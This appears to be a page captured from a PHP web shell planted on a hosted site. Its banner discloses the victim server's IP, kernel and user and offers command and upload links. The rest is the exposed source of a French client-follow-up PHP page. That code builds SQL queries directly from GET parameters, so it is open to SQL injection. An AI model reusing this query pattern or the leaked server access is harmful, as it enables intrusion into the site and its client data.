|
Server IP : 10.128.40.6 / Your IP : 216.73.217.20 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/TEST/www/../../MCPRO/feuillesroute/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include_once 'code/init.php';
print_header ('', '', $BodyX );
function ordonner($array, $key)
{
for ($i = 0; $i < sizeof($array); $i++) {
$sort_values[$i] = $array[$i][$key];
}
asort ($sort_values);
reset ($sort_values);
while (list ($arr_key, $arr_val) = each ($sort_values)) {
$sorted_arr[] = $array[$arr_key];
}
return $sorted_arr;
}
$where1="";
$where2="";
$selected="";
if($_GET['idbureausel'] && !empty($_GET['idbureausel']) )
{
if($_GET['idbureausel']>0)
{
$idbureausel=$_GET['idbureausel'];
$tabbursel=dbi_fetch_row((dbi_query('select * from bureau where id_bureau='.$_GET['idbureausel'].' and agence_id='.$agence.''))) ;
$id_bureau=$tabbursel['id_bureau'];
$nom_bureau=$tabbursel['nom_agence'];
$where1=" AND ID_Bureau != $id_bureau ";
$where2=" AND client_bureau = $id_bureau ";
}
elseif($_GET['idbureausel']=="INDEFINI")
{
$id_bureau=$_GET['idbureausel'];
$where2=" AND client_bureau='0' ";
$selected='selected="selected"';
}
}
if(!empty($_SESSION['admin'])){
}
elseif($bureau)
{
$where2=" AND client_bureau = $bureau ";
}
$sql = dbi_query(" SELECT *,CONCAT( client_nom, ' ', client_pnom ) nom from client c
LEFT JOIN proposition p
USING ( client_id )
WHERE client_actif='0' AND c.agence_id=$agence $where2 ORDER BY nom ") ;
$DATA=array();
?>
<script language="Javascript">
function GetIdBureau()
{
var idbursel="";
idbureausel = document.bureau_form.client_bureau.value ;
if( idbureausel > 0 || idbureausel=="INDEFINI" )
window.location = "suivreg.php?idbureausel="+idbureausel;
else
window.location = "suivreg.php";
}
</script>
<div class="onglet_dotted">
<?php
if(!empty($_SESSION['admin'])){
?>
<table style="position:absolute; top:35px; right:20px;">
<form id="bureau_form" name="bureau_form" method="POST" action="suivreg.php">
<tr>
<td align="left" valign="top" class="td_listing0" >Bureau :</td>
<td align="left" valign="top" class="td_listing0">
<select id="client_bureau" name="client_bureau" onchange="GetIdBureau()";>
<option selected="selected" value=""> TOUS </option>
<?php if(isset($id_bureau) && isset($nom_bureau)) { ?>
<option selected="selected" value="<?=$id_bureau ?>"><?=$nom_bureau?></option>
<?php } ?>
<?php
$Reqbureau=dbi_query("select * from bureau where agence_id=$agence $where1") or die(mysql_error());
while($listbureau=dbi_fetch_row($Reqbureau)){ ?>
<option value="<?php echo $listbureau['id_bureau']?>"><?php echo $listbureau['nom_agence'] ?></option>
<?php } ?>
<option <?=$selected ?> value="INDEFINI">INDEFINI</option>
</select>
</td>
</tr>
</form>
</table>
<?php } ?>
<?php while($l=dbi_fetch_row($sql)){
// echo " !! ".$l['client_id'];
// $l['client_bureau'];
// print_r($s);
$bureau=dbi_fetch_row((dbi_query('select * from bureau where id_bureau='.$l['client_bureau'].' and agence_id='.$agence.''))) ;
$Nbur=$bureau['nom_agence'];
// if(!empty($_GET['tri']))
$SqlVS = "
SELECT client_id, CONCAT( Admin_nom, ' ', Admin_pnom ) anom, humeur, suivi_intitule, suivi_biais_id, annotation, suivi_id, client_suivi_id, suivi_date, client_suivi_clos, suivi_biais_intitule, suivi_programme,suivi_parent_id,UNIX_TIMESTAMP( suivi_date ) AS DATE, DATE( suivi_date ) AS date_suivi
FROM client_suivi cs
LEFT JOIN suivi
USING ( suivi_id )
LEFT JOIN suivi_biais
USING ( suivi_biais_id )
LEFT JOIN administratif
USING ( Admin_ID )
WHERE cs.agence_id = '$agence' AND suivi_id = 10
AND client_suivi_clos = '0' AND cs.client_id = ".$l['client_id']."
ORDER BY suivi_date DESC ";
// echo $SqlVS;
$s=dbi_fetch_row(dbi_query($SqlVS));
$action = '';
if ($s['suivi_biais_id']=='4')
$action = '<img src="images/icones/warning.gif" alt="Message repondeur" border="0" align="absmiddle"> '.$s['suivi_biais_intitule'].' effectué';
else if ($s['suivi_programme']=='1')
$action = '<img src="images/icones/programme.gif" alt="Action programme" border="0" align="absmiddle"> Prévoir un '.strtolower($s['suivi_biais_intitule']);
else $action = $s['suivi_biais_intitule'].' effectué';
if ($s['suivi_biais_id']=='6')
$action = '<img src="images/controles-16.png" alt="Contrôle au domicile du client" border="0" align="absmiddle"> Prévoir une '.strtolower($s['suivi_biais_intitule']);
// $total+= $l['montant_devis'];
if($s['suivi_date'])
$DATA[]=array($l['client_id'],$l['nom'],$Nbur,$l['description_devis'],$l['montant_devis'] ,int2date($l['echeance_devis']),$s['suivi_date'],'<b>'.$action.' le '.mysql_datefr($s['suivi_date'],'-','Djma'),$s['DATE'],$s['suivi_parent_id'],$s['suivi_biais_intitule'],$s['annotation'],$s['suivi_intitule']);
else
$DATA[]=array($l['client_id'],$l['nom'],$Nbur,$l['description_devis'],$l['montant_devis'] ,int2date($l['echeance_devis']),'',$s['DATE'],$s['suivi_parent_id'],$s['suivi_biais_intitule'],$s['annotation'],$s['suivi_intitule']);
?>
<?php } ?>
<?php
// echo '<pre>';
// print_r($DATA);
// echo '</pre>';
if(empty($_GET['tri']) && empty($_GET['ordre']))
{
$tab=ordonner($DATA,'8');
$DATA=$tab;
}
$PARENT=array();
$PARENTS=array();
// echo '<pre>';
// print_r($tab);
// echo '</pre>';
?>
<br><br><br><br>
<div id="tab">
<TABLE width=100%>
<thead>
<TR>
<th style="cursor:pointer; font-weight:bold;color: white; text-decoration:none;text-transform : uppercase;font-size: 14px;">Nom </th>
<th style="cursor:pointer; font-weight:bold;color: white; text-decoration:none;text-transform : uppercase;font-size: 14px;">Bureau</th>
<th style="cursor:pointer; font-weight:bold;color: white; text-decoration:none;text-transform : uppercase;font-size: 14px;" >Description</th>
<th style="cursor:pointer; font-weight:bold;color: white; text-decoration:none;text-transform : uppercase;font-size: 14px;">suivi<SPAN class="sort">↑</SPAN></th>
</TR>
</thead>
<tbody>
<?php
// $inc='( 0 ';
$sql3 = dbi_query("SELECT suivi_id, client_suivi_id,annotation,suivi_intitule FROM client_suivi cs
LEFT JOIN suivi
USING ( suivi_id )
LEFT JOIN suivi_biais
USING ( suivi_biais_id )
WHERE agence_id = '$agence' AND cs.suivi_id = 10
AND client_suivi_clos = '0' AND suivi_parent_id = '0' ") ;
while ($pa = dbi_fetch_row($sql3)){
// print_r($pa);
$PARENT[]=$pa['client_suivi_id'];
$PARENTS[$pa['client_suivi_id']]=$pa['annotation'];
}
// print_r($PARENT);
// && in_array($DATA[$i][8], $PARENT)
for($i=0;$i<count($DATA);$i++)
{
// echo $DATA[$i][9].' ++ ';
if(!empty($DATA[$i][7]) && in_array($DATA[$i][9], $PARENT))
{
// $inc.=' , '.$DATA[$i][0].'';
// echo " ++ ".$DATA[$i][0];
?>
<TR>
<TD><A href="top.php?link=client&page=aaa&id=<?=$DATA[$i][0]?>" target="ident"><?=$DATA[$i][1]; ?></A></TD>
<TD><?=$DATA[$i][2]; ?></TD>
<TD><?echo $PARENTS[$DATA[$i][9]] ;?></TD>
<TD><?=$DATA[$i][7]; ?></TD>
</TR>
<?php
}
}
// $inc.=' ) ';
/*
$sql2 = dbi_query(" SELECT *,CONCAT( client_nom, ' ', client_pnom ) nom ,id_bureau,nom_agence from client c
LEFT JOIN proposition p
USING ( client_id )
LEFT JOIN bureau
ON c.client_bureau=id_bureau
WHERE client_actif='0' AND c.agence_id=$agence $where2 AND c.client_id NOT IN $inc ORDER BY nom") ;
while ($p = dbi_fetch_row($sql2)){
$DATA[]=array($l['client_id'],$l['nom'],$Nbur,$l['description_devis'],$l['montant_devis'] ,int2date($l['echeance_devis']),$s['suivi_date'],'<b>'.$action.' le '.mysql_datefr($s['suivi_date'],'-','Djma'),$s['DATE']);
?>
<TR>
<TD><A href="top.php?link=client&page=aaa&id=<?=$p['client_id']?>" target="ident"><?=$p['nom'];?></A></TD>
<TD><?=$p['nom_agence']; ?></TD>
<TD><?=$p['description_devis']; ?></TD>
<TD><?=int2date($p['echeance_devis']); ?></TD>
<TD></TD>
</TR>
<?php
}
*/
?>
</tbody>
</TABLE>
</div>
</div>
<?php
/*
include_once 'code/init.php';
print_header ('', '', $BodyX );
print_header ( array(), '', $BodyX.'style="margin:5px 10px 5px 10px; padding:5px 10px 5px 10px; border:solid 1px #778;"' );
// echo '<pre>';
// print_r($_GET);
// echo '</pre>';
// if(!isset($_GET['Suivi_Intitule']))
// $_GET['Suivi_Intitule']=
?>
<script language="Javascript">
function GetIdBureau()
{
var idbursel="";
var IdIntSuivi="";
idbureausel = document.bureau_form.client_bureau.value ;
IdIntSuivi = document.bureau_form.Suivi_Intitule.value ;
if( (idbureausel > 0 || idbureausel=="INDEFINI" ) || (IdIntSuivi > 0 || IdIntSuivi=="TOUS" ))
window.location = "suivreg.php?idbureausel="+idbureausel+"&intsuivi="+IdIntSuivi;
else
window.location = "suivreg.php";
}
</script>
<?php
$suivi_id = 13;
$where = " AND suivi_id IN ( 10 )" ;
function ordonner($array, $key)
{
foreach($array as $cle => $element) {
$sort_values[$cle] = $array[$cle][$key];
}
asort ($sort_values);
reset ($sort_values);
while (list ($arr_key, $arr_val) = each ($sort_values)) {
$sorted_arr[] = $array[$arr_key];
}
return $sorted_arr;
}
$where1="";
$where2="";
$where3=" where suivi_id IN ( 10 ) ";
if(isset($_GET['intsuivi']) && $_GET['intsuivi'] >0)
{
$where = " AND suivi_id = ".$_GET['intsuivi'] ;
// $where3=" where suivi_id = ".$_GET['intsuivi'] ;
}
$selected = "";
if($_GET['idbureausel'] && !empty($_GET['idbureausel']) )
{
if($_GET['idbureausel']>0)
{
$idbureausel=$_GET['idbureausel'];
$tabbursel=dbi_fetch_row((dbi_query('select * from bureau where id_bureau='.$_GET['idbureausel'].' and agence_id='.$agence.''))) ;
$id_bureau=$tabbursel['id_bureau'];
$nom_bureau=$tabbursel['nom_agence'];
$where1=" AND ID_Bureau != $id_bureau ";
$where2=" AND client_bureau = $id_bureau ";
}
elseif($_GET['idbureausel']=="INDEFINI")
{
$id_bureau=$_GET['idbureausel'];
$where2=" AND client_bureau='0' ";
$selected='selected="selected"';
}
}
if(!empty($_SESSION['admin'])){
}
elseif($bureau)
{
$where2=" AND client_bureau = $bureau ";
}
// $i=date('y-m-d');
// $k=date("Y-m-d", strtotime("-90 day", strtotime($i)));
// echo " ! $k ! ";
$Sql = "SELECT client_id, CONCAT( client_nom, ' ', client_pnom ) nom, CONCAT( inter_nom, ' ', inter_pnom ) inom, CONCAT( Admin_nom, ' ', Admin_pnom ) anom, inter_id, humeur, suivi_intitule, suivi_biais_id, annotation, suivi_id, client_suivi_id, suivi_date, client_suivi_clos, suivi_biais_intitule, suivi_programme,suivi_parent_id,UNIX_TIMESTAMP( suivi_date ) AS DATE, DATE( suivi_date ) AS date_suivi,description_devis ,echeance_devis,id_bureau,nom_agence
FROM client_suivi cs
LEFT JOIN suivi
USING ( suivi_id )
LEFT JOIN suivi_biais
USING ( suivi_biais_id )
LEFT JOIN client c
USING ( client_id )
LEFT JOIN intervenant
USING ( inter_id )
LEFT JOIN administratif
USING ( Admin_ID )
LEFT JOIN proposition p
USING ( client_id )
LEFT JOIN bureau b
ON c.client_bureau=b.id_bureau
WHERE c.agence_id = '$agence'
AND client_actif='0'
AND client_suivi_clos = '0'
AND suivi_parent_id!='0'
$where
$where2
ORDER BY suivi_programme DESC , suivi_date";
//
$suivi = dbi_query($Sql);
$DATA = array();
$DATA2 = array();
$tab = array();
$inc='( 0 ';
while ($a = dbi_fetch_row($suivi))
{
$client_id=$a['client_id'];
// for ($i = 0 ; $i < count($clients) ; $i++)
// {
$inc.=' , '.$client_id;
// }
$DATA[$client_id]=array( $a['client_id'],$a['nom'],$a['date_suivi'],$a['DATE'], $a['description_devis'],$a['echeance_devis'],$a['id_bureau'],$a['nom_agence'] );
$DATA2[$client_id][]=
array(
$a['client_id'],$a['inom'],$a['suivi_intitule'],
$a['suivi_date'],$a['suivi_biais_intitule'],$a['annotation'],
$a['suivi_id'],$a['client_suivi_id'],$a['suivi_programme'],
$a['suivi_biais_id'],$a['client_id'],$a['inter_id'],
$a['humeur'],$a['date_suivi'],$a['DATE']
);
}
$inc.=') ' ;
$tab = ordonner($DATA,'3');
// echo '<pre>';
// print_r($tab);
// echo '</pre>';
?>
<div class="onglet_dotted">
<?php
if(!empty($_SESSION['admin'])){
?>
<table style="position:absolute; top:35px; right:20px;">
<form id="bureau_form" name="bureau_form" method="POST" action="a.php">
<tr>
<td align="left" valign="top" class="td_listing0" >Bureau :</td>
<td align="left" valign="top" class="td_listing0">
<select id="client_bureau" name="client_bureau" onchange="GetIdBureau()";>
<option selected="selected" value=""> TOUS </option>
<?php if(isset($id_bureau) && isset($nom_bureau)) { ?>
<option selected="selected" value="<?=$id_bureau ?>"><?=$nom_bureau?></option>
<?php } ?>
<?php
$Reqbureau=dbi_query("select * from bureau where agence_id=$agence $where1") or die(mysql_error());
while($listbureau=dbi_fetch_row($Reqbureau)){ ?>
<option value="<?php echo $listbureau['id_bureau']?>"><?php echo $listbureau['nom_agence'] ?></option>
<?php } ?>
<option <?=$selected ?> value="INDEFINI">INDEFINI</option>
</select>
</td>
</tr>
</form>
</table>
<?php } ?>
<?php
$DATA=$tab;
$sql2 = dbi_query(" SELECT *,CONCAT( client_nom, ' ', client_pnom ) nom ,id_bureau,nom_agence from client c
LEFT JOIN proposition p
USING ( client_id )
LEFT JOIN bureau
ON c.client_bureau=id_bureau
WHERE c.client_prospect= '1' AND client_actif='0' AND c.agence_id=$agence $where2 AND c.client_id NOT IN $inc ORDER BY nom") ;
// echo $inc;
?>
<br/><br/><br/><br/><br/><br/><br/><br/>
<TABLE id="ver-minimalist">
<thead>
<TR>
<th>Nom </th>
<th>Bureau</th>
<th>Description</th>
<th>Echeance</th>
<th>suivi<SPAN class="sort">↑</SPAN></th>
</TR>
</thead>
<tbody>
<?php
foreach($DATA as $i => $element)
{
$id=$DATA[$i][0];
// echo '[' . $cle . '] vaut ' . $element . '<br />';
?>
<TR>
<TD><A href="top.php?link=client&page=aaa&id=<?=$DATA[$i][0]?>" target="ident"><?=$DATA[$i][1];;?></A></TD>
<TD><?=$DATA[$i][7]; ?></TD>
<TD><?=$DATA[$i][4]; ?></TD>
<TD><?=int2date($DATA[$i][5]); ?></TD>
<TD><?php
for ($j = 0 ; $j < count($DATA2[$id]) ; $j++)
{
$icone = '';
if ($DATA2[$id][$j][9]=='4') $icone = '<img src="images/icones/warning.gif" alt="Message repondeur" border="0" align="absmiddle">';
else if ($DATA2[$id][$j][9]=='6') $icone = '<img src="images/controles-16.png" alt="Contrôle au domicile du client" border="0" align="absmiddle">';
else $icone = '';
echo '<b>'.$DATA2[$id][$j][2].'</b> : '.$icone.$DATA2[$id][$j][4].' le '.mysql_datefr($DATA2[$id][$j][3],'-','Djma');
if($DATA2[$id][$j][5]) echo ' ( '.$DATA2[$id][$j][5].' )';
echo '<br/>';
// print_r($DATA2[$id][$j]);
}
?></TD>
</TR>
<?php
}
while ($p = dbi_fetch_row($sql2)){
$DATA[]=array($l['client_id'],$l['nom'],$Nbur,$l['description_devis'],$l['montant_devis'] ,int2date($l['echeance_devis']),$s['suivi_date'],'<b>'.$action.' le '.mysql_datefr($s['suivi_date'],'-','Djma'),$s['DATE']);
?>
<TR>
<TD><A href="top.php?link=client&page=aaa&id=<?=$p['client_id']?>" target="ident"><?=$p['nom'];?></A></TD>
<TD><?=$p['nom_agence']; ?></TD>
<TD><?=$p['description_devis']; ?></TD>
<TD><?=int2date($p['echeance_devis']); ?></TD>
<TD></TD>
</TR>
<?php
}
?>
</tbody>
</TABLE>
<?php
// echo '<pre>';
// print_r($tab);
// echo '</pre>';
*/
?>
